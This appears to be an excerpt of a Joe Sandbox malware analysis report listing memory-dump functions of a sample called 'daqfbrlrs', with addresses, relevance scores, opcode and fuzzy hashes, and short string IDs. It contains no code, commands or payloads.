                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q
                                                            • API String ID: 0-2625958711
                                                            • Opcode ID: cfa0c55f7fc582fffe29bdbd87501c559e383b8243777db3d69e2aa7aa7c0857
                                                            • Instruction ID: ef22afc9f62ae8d62708af39da8b25b565fca298cbf072dfc84c3ada4f3a2b75
                                                            • Opcode Fuzzy Hash: cfa0c55f7fc582fffe29bdbd87501c559e383b8243777db3d69e2aa7aa7c0857
                                                            • Instruction Fuzzy Hash: 05212830B012568FCB46EB79895063F7BF6AFC8204B18846DD149DF395DE708C02C792
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C30F6B Relevance: 1.3, Strings: 1, Instructions: 83COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q
                                                            • API String ID: 0-2625958711
                                                            • Opcode ID: 2dd7f716a2e6ae75a42ba72cc8334a7eec66d6f46eec92d0577d1ab2add51671
                                                            • Instruction ID: 266dec1a710edbc36dcd2558efbeea2a03447f97f2ee0636f7ab4a8e8df576dd
                                                            • Opcode Fuzzy Hash: 2dd7f716a2e6ae75a42ba72cc8334a7eec66d6f46eec92d0577d1ab2add51671
                                                            • Instruction Fuzzy Hash: 3A21F430B011168FDB49EB79855067F77F6AFC8204B14846CD449DF399EE719D02C796
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C30921 Relevance: 1.3, Strings: 1, Instructions: 46COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Hbq
                                                            • API String ID: 0-1245868
                                                            • Opcode ID: 0b4dc7e3ecb77f090b4dae93f0754dcac6100568fb46af2b4ed06a88c8c4558f
                                                            • Instruction ID: 5d0d839e32c346d86c6aedc3254124501da8c9da5fe914ccb858e45b58b450b2
                                                            • Opcode Fuzzy Hash: 0b4dc7e3ecb77f090b4dae93f0754dcac6100568fb46af2b4ed06a88c8c4558f
                                                            • Instruction Fuzzy Hash: 54019E20B082848FCB0AEBB894696AD7FA3EFD6200F1485F8C4459B7D9DE788D46C751
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C30D3B Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 829d42759ede94efe5cc42f3d65939e21797b307c92cb669de9d8f5191e7e5a6
                                                            • Instruction ID: 0362089b367dae5ab486893cc7da829350c3c551b247cb1248cd8c1aa400528b
                                                            • Opcode Fuzzy Hash: 829d42759ede94efe5cc42f3d65939e21797b307c92cb669de9d8f5191e7e5a6
                                                            • Instruction Fuzzy Hash: 4831AE74A00209DFCF52EB78E5406AEBBB6FF95300F104A69D005A7358DB70AA85CF91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C30E5B Relevance: .1, Instructions: 73COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: fa7d5bd776879698bdf5ec035fc635ec8e21ed2ddc7f469fcf6248c23407ed31
                                                            • Instruction ID: 236fa35ec5e987d7656e5e34f96dabef75294e820735cf9f9891b271ad75456b
                                                            • Opcode Fuzzy Hash: fa7d5bd776879698bdf5ec035fc635ec8e21ed2ddc7f469fcf6248c23407ed31
                                                            • Instruction Fuzzy Hash: E9219071B002059FDB49EBBD885836FBAEAEFC8250F14892ED48AD7395DD358C0547A1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C30D40 Relevance: .1, Instructions: 70COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 17419221e8e476aa458e9eb71307aac7368d42d71d61c93f9178fdb0a8e9f02b
                                                            • Instruction ID: 3ef2b70dc03571901f7830727165e8df3216f262cc814808fcee8a8e76ec2634
                                                            • Opcode Fuzzy Hash: 17419221e8e476aa458e9eb71307aac7368d42d71d61c93f9178fdb0a8e9f02b
                                                            • Instruction Fuzzy Hash: 38218D74A00219DFCF51EFB9D944AAEBBB6FF98300F104A69D005A7358DB74AA44CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C30841 Relevance: .0, Instructions: 48COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9e56f1e289f255f1fa8ee4f111e186c653013feabac7fb20b3b7da9a52ea75e8
                                                            • Instruction ID: 8f90f7b2d1b64936c929824e7ae0a89e7b419a28bb1a2e88ecbbc19d2aa5de21
                                                            • Opcode Fuzzy Hash: 9e56f1e289f255f1fa8ee4f111e186c653013feabac7fb20b3b7da9a52ea75e8
                                                            • Instruction Fuzzy Hash: 1F11BF345811269FCF62FB2AF980E5577A6FB643047105B6495088B22DD774B949CF80
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 02C30848 Relevance: .0, Instructions: 44COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000010.00000002.2501578266.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_16_2_2c30000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8ddeb1bde687258841ca825df69ce782d60b9d06b1382661cfb1e2cb0a17cae2
                                                            • Instruction ID: 3ebf861c9e7acc10f9d063e9c2a48bf5eb3da1f6b6260adc116b9574d97127b8
                                                            • Opcode Fuzzy Hash: 8ddeb1bde687258841ca825df69ce782d60b9d06b1382661cfb1e2cb0a17cae2
                                                            • Instruction Fuzzy Hash: C81160346811269FCF62FF2AF984E5577A6F7643047105B6491088B32DDB74B949CFC0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Executed Functions

                                                            Function 00B21470 Relevance: 4.2, Strings: 3, Instructions: 428COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q$$^q
                                                            • API String ID: 0-831282457
                                                            • Opcode ID: c380563485648755a4ff562efbc5bd981d8821ca21981ad75835c7db8041e726
                                                            • Instruction ID: b3bed3679dc95a40df4023fb59fe1d9dad2713d3578fac5d74adc20b4a47b915
                                                            • Opcode Fuzzy Hash: c380563485648755a4ff562efbc5bd981d8821ca21981ad75835c7db8041e726
                                                            • Instruction Fuzzy Hash: 82F195347002059FDB15BF78E859B6E7BE2FB84700F18486AE406DB3A9DF719C019B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B213B0 Relevance: 2.9, Strings: 2, Instructions: 404COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q
                                                            • API String ID: 0-355816377
                                                            • Opcode ID: bd0938ea559babf405cf4a5a1601ce90b5922b1b19a6dd8a8550cde7ee30e83f
                                                            • Instruction ID: cc8d61cf910de00caaa6c9aa643eb24a7455c482632ecddf59c5a4b38a147d94
                                                            • Opcode Fuzzy Hash: bd0938ea559babf405cf4a5a1601ce90b5922b1b19a6dd8a8550cde7ee30e83f
                                                            • Instruction Fuzzy Hash: 34D193347002159FDB06BF78E85876D7BE6FB84700F18896AE40ADB3A9DF749C058B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B215A0 Relevance: 2.8, Strings: 2, Instructions: 252COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: $^q$$^q
                                                            • API String ID: 0-355816377
                                                            • Opcode ID: b3b634088313a0dd9d95bce6a99cb40aa3da31f98bd85a3611eca0a9f1032751
                                                            • Instruction ID: e6305643905a26c24ed87c0a1cc4dfba3e8dc4601b2648f1d5e41f96047d0976
                                                            • Opcode Fuzzy Hash: b3b634088313a0dd9d95bce6a99cb40aa3da31f98bd85a3611eca0a9f1032751
                                                            • Instruction Fuzzy Hash: 799193347002159FDB19BB78D85476E7AE7BF84700F188969E40AAB3A8DF759C028B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B20F70 Relevance: 1.3, Strings: 1, Instructions: 89COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q
                                                            • API String ID: 0-2625958711
                                                            • Opcode ID: 9aae8f742d33cd5e6593e66162e1f86ffbed0138cd5c19f5f40a604bac98facb
                                                            • Instruction ID: eec2e150d6cf3efd5be31dc0adeebeed43fe2b30d8218e55e7ddf6311896774f
                                                            • Opcode Fuzzy Hash: 9aae8f742d33cd5e6593e66162e1f86ffbed0138cd5c19f5f40a604bac98facb
                                                            • Instruction Fuzzy Hash: FC21F530B002558FCB55EB78895063F7BF6AFC4600B1884A9D109DB39AEE308C02C392
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B20F60 Relevance: 1.3, Strings: 1, Instructions: 88COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: LR^q
                                                            • API String ID: 0-2625958711
                                                            • Opcode ID: ee0c6289e69b30b035023f9c826b5d4a4f459ec977b345371a907c8158886738
                                                            • Instruction ID: 638e28c00bea1d63ddcb8c94868d984ada86e72e23d25fcd6ab8592e57d59265
                                                            • Opcode Fuzzy Hash: ee0c6289e69b30b035023f9c826b5d4a4f459ec977b345371a907c8158886738
                                                            • Instruction Fuzzy Hash: 7821D230B002658FCB55EB79995462E7BF6EFC5604F1884A9D009DB396EE718C028796
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B20921 Relevance: 1.3, Strings: 1, Instructions: 67COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Hbq
                                                            • API String ID: 0-1245868
                                                            • Opcode ID: 726c043ea3f51bfe3f3ec5a372e8d2fb04307008537e2cf05c5857616d2933a7
                                                            • Instruction ID: af4e03ce2410f5305846a4079d4905715069c6a6c9bf5f92e9142db55f390f18
                                                            • Opcode Fuzzy Hash: 726c043ea3f51bfe3f3ec5a372e8d2fb04307008537e2cf05c5857616d2933a7
                                                            • Instruction Fuzzy Hash: 49217C30B082449FCB49EBB898552AD7BB1FF45300F1445BAD449DB292DA388D45C782
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B20E54 Relevance: .1, Instructions: 102COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f656547ead9104e0b93926d8ec939c6eccccf2bed717e9a531fa7090151ce432
                                                            • Instruction ID: 0ad8887f2de5e4a72afd12f59d6a77005da502ed9e4ef791bad46b9b3a19e364
                                                            • Opcode Fuzzy Hash: f656547ead9104e0b93926d8ec939c6eccccf2bed717e9a531fa7090151ce432
                                                            • Instruction Fuzzy Hash: C1319270B00204DFCB04BBB9D95866EBBEAEFC8700F144969E44AE7369DE358D468761
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B20D31 Relevance: .1, Instructions: 84COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5b7ed606101330a54b45fd4660996156f657038302dd9cf4db04259eb5a55d26
                                                            • Instruction ID: 7c708dcdf82ca7ecbb1ee7db3e3b6a64cde7ae8e1cf6ebbc83d1d754e8b7b8ac
                                                            • Opcode Fuzzy Hash: 5b7ed606101330a54b45fd4660996156f657038302dd9cf4db04259eb5a55d26
                                                            • Instruction Fuzzy Hash: 4331AF74914244DFCB05FB78E8516ADBFB6FF85300F2446AAD006A736DDB309A85CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B20D40 Relevance: .1, Instructions: 70COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: db87f3454ae6e9782cdc70896de58c8e0e38d10cc61001229b954f3856832b8b
                                                            • Instruction ID: adbd632f736d8235a6ad85125a65dde6bf0858d0993c5ee778140132296ebee7
                                                            • Opcode Fuzzy Hash: db87f3454ae6e9782cdc70896de58c8e0e38d10cc61001229b954f3856832b8b
                                                            • Instruction Fuzzy Hash: BC216074900209DFCB05FF78D9556AEBBB6FF84304F24466AD005A735DDB30AA45CB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B20838 Relevance: .1, Instructions: 52COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9e9cb062bfdafd0c725ad91a3dd878fa32bf00301d173c00d71d2e5aaba9389f
                                                            • Instruction ID: 6d19eca1e1149191bbf826afee5c0fae50b26eb27b0b5380f0501008eeecfc0e
                                                            • Opcode Fuzzy Hash: 9e9cb062bfdafd0c725ad91a3dd878fa32bf00301d173c00d71d2e5aaba9389f
                                                            • Instruction Fuzzy Hash: D421EC741412459FCB02FF28FA90A45BBB5FB44704B18BA66D0058B33DD770AE4ACF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 00B20848 Relevance: .0, Instructions: 44COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000012.00000002.2584546279.0000000000B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_18_2_b20000_daqfbrlrs.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e9c1fff92ca4aafb2d62238fbedbc5ed316f223b9db484ffa5554930fd61dd02
                                                            • Instruction ID: 73158ee0063362ce33bd7be84a839e03ad65c6e2bdcd5d06f5330c0682acd701
                                                            • Opcode Fuzzy Hash: e9c1fff92ca4aafb2d62238fbedbc5ed316f223b9db484ffa5554930fd61dd02
                                                            • Instruction Fuzzy Hash: 0A11B174541245DFCB02FF18FA90A45BBB6F744704B18BA6690058B33DD770AE49CF90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%